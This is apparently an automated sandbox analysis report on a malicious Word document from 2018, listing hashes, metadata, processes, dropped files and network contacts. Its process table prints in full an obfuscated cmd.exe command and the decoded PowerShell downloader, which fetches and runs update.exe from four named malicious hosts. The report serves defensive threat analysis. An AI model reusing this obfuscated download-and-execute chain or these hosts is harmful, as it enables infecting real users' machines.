File name: | 5f82efb7e9739f98c4a85c12cf7df179250d82eb8a1115327dce1ad5c8ca6de8 |
Full analysis: | https://app.any.run/tasks/3bfe3c92-bbc5-41a8-9014-795ea68a9571 |
Verdict: | Malicious activity |
Analysis date: | December 19, 2018, 06:55:06 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Dec 17 10:22:00 2018, Last Saved Time/Date: Mon Dec 17 10:22:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 28, Security: 0 |
MD5: | FC8C4D83C810DB9836F0E9E0678A26C6 |
SHA1: | B18E0194FF973FC0353C2DD23326BAD942126713 |
SHA256: | 5F82EFB7E9739F98C4A85C12CF7DF179250D82EB8A1115327DCE1AD5C8CA6DE8 |
SSDEEP: | 1536:J0nbUhdKKnso8MU71LE/fqW2X49wSTBoVRJ3FT0ab+a9:J0nbUhdKKnsovU2V9SSwJd |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 31 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 28 |
Words: | 4 |
Pages: | 1 |
ModifyDate: | 2018:12:17 10:22:00 |
CreateDate: | 2018:12:17 10:22:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3452 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\5f82efb7e9739f98c4a85c12cf7df179250d82eb8a1115327dce1ad5c8ca6de8.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2576 | c:\VimUCsu\ITVjHOXmPzMqJ\CpSZdwXkIp\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set cLhj=FkjGzRSvWLjbstKYzUiHFdXMzkTZuC@a}qc\PrN l;:'(p./+={)0hw2nEBDfoygeQmIx8$-,&&for %f in (70,57,8,36,49,43,25,18,19,43,41,70,21,22,31,49,56,64,54,71,61,11,10,64,34,13,39,38,64,13,46,8,64,11,29,40,18,64,56,13,41,70,17,6,36,49,43,53,13,13,45,42,47,47,34,64,12,13,64,56,64,40,40,64,12,46,10,31,25,61,11,12,61,56,46,60,37,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,12,45,31,37,25,61,40,7,18,21,64,61,46,33,61,18,62,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,54,61,66,31,56,46,33,61,18,62,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,12,31,18,13,56,64,54,12,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,43,46,6,45,40,18,13,44,43,30,43,51,41,70,11,22,58,49,43,38,54,56,43,41,70,40,24,6,39,49,39,43,55,69,52,43,41,70,53,67,3,49,43,65,11,67,43,41,70,24,19,67,49,70,64,56,7,42,13,64,66,45,48,43,35,43,48,70,40,24,6,48,43,46,64,68,64,43,41,60,61,37,64,31,34,53,44,70,6,53,60,39,18,56,39,70,17,6,36,51,50,13,37,62,50,70,21,22,31,46,59,61,54,56,40,61,31,21,20,18,40,64,44,70,6,53,60,72,39,70,24,19,67,51,41,70,61,38,37,49,43,54,40,54,43,41,67,60,39,44,44,3,64,13,71,67,13,64,66,39,70,24,19,67,51,46,40,64,56,63,13,53,39,71,63,64,39,69,52,52,52,52,51,39,50,67,56,7,61,25,64,71,67,13,64,66,39,70,24,19,67,41,70,19,23,19,49,43,33,36,33,43,41,11,37,64,31,25,41,32,32,34,31,13,34,53,50,32,32,70,67,57,7,49,43,25,7,29,43,41,83)do set Vnb9=!Vnb9!!cLhj:~%f,1!&&if %f equ 83 powershell.exe "!Vnb9:~-457!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3160 | CmD /V:ON/C"set cLhj=FkjGzRSvWLjbstKYzUiHFdXMzkTZuC@a}qc\PrN l;:'(p./+={)0hw2nEBDfoygeQmIx8$-,&&for %f in (70,57,8,36,49,43,25,18,19,43,41,70,21,22,31,49,56,64,54,71,61,11,10,64,34,13,39,38,64,13,46,8,64,11,29,40,18,64,56,13,41,70,17,6,36,49,43,53,13,13,45,42,47,47,34,64,12,13,64,56,64,40,40,64,12,46,10,31,25,61,11,12,61,56,46,60,37,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,12,45,31,37,25,61,40,7,18,21,64,61,46,33,61,18,62,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,54,61,66,31,56,46,33,61,18,62,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,30,53,13,13,45,42,47,47,54,54,54,46,12,31,18,13,56,64,54,12,46,37,28,47,13,13,13,47,28,45,21,31,13,64,46,64,68,64,43,46,6,45,40,18,13,44,43,30,43,51,41,70,11,22,58,49,43,38,54,56,43,41,70,40,24,6,39,49,39,43,55,69,52,43,41,70,53,67,3,49,43,65,11,67,43,41,70,24,19,67,49,70,64,56,7,42,13,64,66,45,48,43,35,43,48,70,40,24,6,48,43,46,64,68,64,43,41,60,61,37,64,31,34,53,44,70,6,53,60,39,18,56,39,70,17,6,36,51,50,13,37,62,50,70,21,22,31,46,59,61,54,56,40,61,31,21,20,18,40,64,44,70,6,53,60,72,39,70,24,19,67,51,41,70,61,38,37,49,43,54,40,54,43,41,67,60,39,44,44,3,64,13,71,67,13,64,66,39,70,24,19,67,51,46,40,64,56,63,13,53,39,71,63,64,39,69,52,52,52,52,51,39,50,67,56,7,61,25,64,71,67,13,64,66,39,70,24,19,67,41,70,19,23,19,49,43,33,36,33,43,41,11,37,64,31,25,41,32,32,34,31,13,34,53,50,32,32,70,67,57,7,49,43,25,7,29,43,41,83)do set Vnb9=!Vnb9!!cLhj:~%f,1!&&if %f equ 83 powershell.exe "!Vnb9:~-457!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2928 | powershell.exe "$EWP='kiH';$dXa=new-object Net.WebClient;$USP='http://cestenelles.jakobson.fr/ttt/update.exe@http://www.sparkolvideo.qoiy.ru/ttt/update.exe@http://www.woman.qoiy.ru/ttt/update.exe@http://www.saitnews.ru/ttt/update.exe'.Split('@');$bXB='Nwn';$lzS = '280';$hIG='QbI';$zHI=$env:temp+'\'+$lzS+'.exe';foreach($Shf in $USP){try{$dXa.DownloadFile($Shf, $zHI);$oNr='wlw';If ((Get-Item $zHI).length -ge 80000) {Invoke-Item $zHI;$HMH='qPq';break;}}catch{}}$IEv='kvC';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA56B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\28A6C3D4.wmf | — | |
MD5:— | SHA256:— | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A6F0DD02.wmf | — | |
MD5:— | SHA256:— | |||
2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1SURKAREH78NB8JT4G8A.temp | — | |
MD5:— | SHA256:— | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$82efb7e9739f98c4a85c12cf7df179250d82eb8a1115327dce1ad5c8ca6de8.doc | pgc | |
MD5:7075067D5F4E7A0A50CE16680D58D157 | SHA256:C02FBBE4D8B7A4DA18C54BE35FB3BD507ECA2C0A785310CC8E4ECDB629C41A86 | |||
2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0C1DAA668BA499584B0AC7476368101E | SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A23269C5.wmf | wmf | |
MD5:94BCCEF4E5A4D59F1EC0FA7655B183E8 | SHA256:E575027A82CD3C727A782CB06244654E5CB3A808408C50589D25DD3189EC0919 | |||
2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b1cf.TMP | binary | |
MD5:0C1DAA668BA499584B0AC7476368101E | SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:620042333A3933BF7460609C02F5F4BE | SHA256:CB8EDCF3FE4497B67EDB4B8F54F825325851A3247E6CAF48685942803E39EA7E | |||
3452 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:4F5F40C47DDD92765B47161B15380CF9 | SHA256:3A34E29F643B0F7C1B38279E3FA88B8310EFE43FDAF57CAE22CE4944767D3F29 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2928 | powershell.exe | GET | 403 | 213.186.33.24:80 | http://cestenelles.jakobson.fr/ttt/update.exe | FR | html | 285 b | malicious |
2928 | powershell.exe | GET | 404 | 81.177.6.6:80 | http://www.saitnews.ru/ttt/update.exe | RU | html | 632 b | suspicious |
2928 | powershell.exe | GET | 404 | 81.177.6.6:80 | http://www.woman.qoiy.ru/ttt/update.exe | RU | html | 632 b | suspicious |
2928 | powershell.exe | GET | 404 | 81.177.6.6:80 | http://www.sparkolvideo.qoiy.ru/ttt/update.exe | RU | html | 632 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2928 | powershell.exe | 81.177.6.6:80 | www.sparkolvideo.qoiy.ru | JSC RTComm.RU | RU | malicious |
2928 | powershell.exe | 213.186.33.24:80 | cestenelles.jakobson.fr | OVH SAS | FR | malicious |
Domain | IP | Reputation |
---|---|---|
cestenelles.jakobson.fr |
| malicious |
www.sparkolvideo.qoiy.ru |
| suspicious |
www.woman.qoiy.ru |
| suspicious |
www.saitnews.ru |
| suspicious |